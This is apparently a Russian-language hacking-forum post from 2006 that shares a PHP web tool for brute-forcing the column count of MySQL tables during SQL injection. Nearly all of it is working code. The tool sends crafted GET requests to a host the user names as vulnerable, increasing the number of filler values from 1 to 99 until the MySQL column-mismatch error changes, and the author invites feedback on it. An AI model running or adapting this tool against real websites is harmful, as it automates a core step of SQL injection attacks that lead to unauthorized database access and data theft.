Subj =) http://cribble.by.ru/w/sqlbruteru.php.txt Вроде вполне удобный. Что скажете? Как вариант, можно сделать для линка одно текстовое поле, чтобы скрипт сам разбивал его на составляющие
PHP: <? function send_post_request($host, $file, $content, $cookies, $cookies_type=1) { $post = "POST $file HTTP/1.0\r\n". "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/msword, */*\r\n". "Referer: http://$host/\r\n". "Accept-Language: ru\r\n". "Content-Type: application/x-www-form-urlencoded\r\n". "Proxy-Connection: Keep-Alive\r\n". "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n". "Host: $host\r\n". "Content-Length: ".strlen($content)."\r\n". "Cookie: "; foreach($cookies as $v) { if($cookies_type == 1) $post .= "$k=>$v;"; else $post .= "$v;"; } $post .= "\r\nPragma: no-cache\r\n\r\n". $content; // echo "<pre>$post</pre><p>"; $s=fsockopen($host,80); fputs($s, $post); $answer = ""; while(!feof($s)) $answer .= fgets($s); fclose($s); return $answer; } function send_get_request($host, $file, $cookies, $cookies_type=1) { $post = "GET $file HTTP/1.0\r\n". "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/msword, */*\r\n". "Referer: http://$host/\r\n". "Accept-Language: ru\r\n". "Proxy-Connection: Keep-Alive\r\n". "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n". "Host: $host\r\n". "Cookie: "; foreach($cookies as $v) { if($cookies_type == 1) $post .= "$k=>$v;"; else $post .= "$v;"; } $post .= "\r\nPragma: no-cache\r\n\r\n"; // echo "<pre>$post</pre><p>"; $s=fsockopen($host,80); fputs($s, $post); $answer = ""; while(!feof($s)) $answer .= fgets($s); fclose($s); return $answer; } function construct_post_request($host, $file, $content_array, $cookies, $cookies_type=1) { $content = ""; foreach($content_array as $k=>$v) $content .= "$k=".urlencode($v)."&"; return send_post_request($host, $file, $content, $cookies, $cookies_type); } $def = "The used SELECT statements have a different number of columns"; $_POST['left'] = stripslashes($_POST['left']); echo ("<html> <head> <title>Брутфорсер числа колонок MySQL таблиц</title> ". /*"<style type='text/css'> td {border: 1px solid;} </style>".*/ "</head> <body bgcolor='lightgray' alink='blue' link='blue' vlink='blue'> <h3 align='center'>Брутфорсер числа колонок MySQL таблиц</h3> <form method='post'> <table "./*"style='border: 1px solid' ".*/ "border=1 cellpadding=5> <tr><td> Запрос: <td> <b>http:// <input type='text' name='host' size=20 value=\"".htmlspecialchars($_POST['host'])."\"> <input type='text' name='left' size=80 value=\"".htmlspecialchars($_POST['left'])."\"> 0,0,0,...,0 <input type='text' name='right' size=20 value=\"".htmlspecialchars($_POST['right'])."\"> </b> <tr><td>Строка: <td><input type='text' name='match' size=100 value=\"{$_POST['match']}\"> <a href='javascript:void(0);' onClick='document.forms[0].match.value=\"$def\";'> <br>Установить стандартную</a> [<b>".htmlspecialchars($def)."</b>] <tr><td> Опции: <td> <input type='checkbox' name='fillints'".( ($_POST['fillints'] == "on")?" checked":"" )."><a href='javascript:void(0);' onClick='document.forms[0].fillints.checked=!document.forms[0].fillints.checked;' style='text-decoration: none; color: black'>Заполнить целыми числами, а не нулями</a> (по умолчанию заполняется нулями)<br> <input type='checkbox' name='stoponfind'".( ($_POST['stoponfind'] == "on")?" checked":"" )."><a href='javascript:void(0);' onClick='document.forms[0].stoponfind.checked=!document.forms[0].stoponfind.checked;' style='text-decoration: none; color: black'>Остановиться, когда найдена искомая строка (вместо того, чтобы остановиться, когда она не найдена)</a><br> <tr><td> <input type='submit' name='go' value='Брутфорс'> <td align='center'> Coded by <b>Great</b> (ICQ# <b>893-894</b>) © 2006 </table> </form> <p>"); if(!isset($_POST['go'])) die("</body></html>"); if(empty($left) || empty($host) || empty($match)) die("<font color='red'><b>Нужно заполнить все поля!</b></font></body></html>"); $left = $_POST['left']; $right = $_POST['right']; $host = $_POST['host']; $match = $_POST['match']; $ints = $_POST['fillints']=="on"; $invert = $_POST['stoponfind']=="on"; echo "<h4>Начинаем...</h4> Левая часть: <b>".htmlspecialchars($left)."</b><br> Правая часть: <b>".htmlspecialchars($right)."</b><br> Уязвимый хост: <b>".htmlspecialchars($host)."</b><br> Полный запрос: <b>http://".htmlspecialchars("{$host}{$left} <0,0,...,0> {$right}")."</b><br> Искомая строка: <b>".htmlspecialchars($match)."</b><br> <b>".( ($ints==true)? "<font color='brown'>Заполняем целыми (1,2,3,...)</font>" :"<font color='gray'>Заполняем нулями (0,0,0,...)</font>" ) ."</b><br> <br>\n"; set_time_limit(0); if(@gethostbyname($host)==$host) die("<font color='red'><b>Хост \"".htmlspecialchars($host)."\" не найден</b></font></body></html>"); for($i=1;$i<100;$i++) { // echo "Trying $i...<br>\n"; echo "$i... "; flush(); if(!$ints) $nulls = "0"; else $nulls = 1; for($k=1;$k<$i;$k++) { if(!$ints) $nulls .= ",0"; else $nulls .= ",".($k+1); } $r = send_get_request($host, $left.$nulls.$right, array(), 1); if(!$invert) $okay = strstr($r, $match)===false; else $okay = strstr($r, $match)!==false; if($okay) { $ok = htmlspecialchars("http://$host".$left.$nulls.$right); $d = htmlspecialchars("http://$host".$left)."<b>".$nulls."</b>".htmlspecialchars($right); echo "<p><font color='green'><b>Успешно:</b> (".( ($invert)?"Строка найдена":"Строка не найдена" ).")</font><br><a href=\"$ok\" style='text-decoration: none' target='_blank'>$d</a>"; echo "<br>".($i)." колонок"; break; } // echo $r; // break; } ?> </body></html>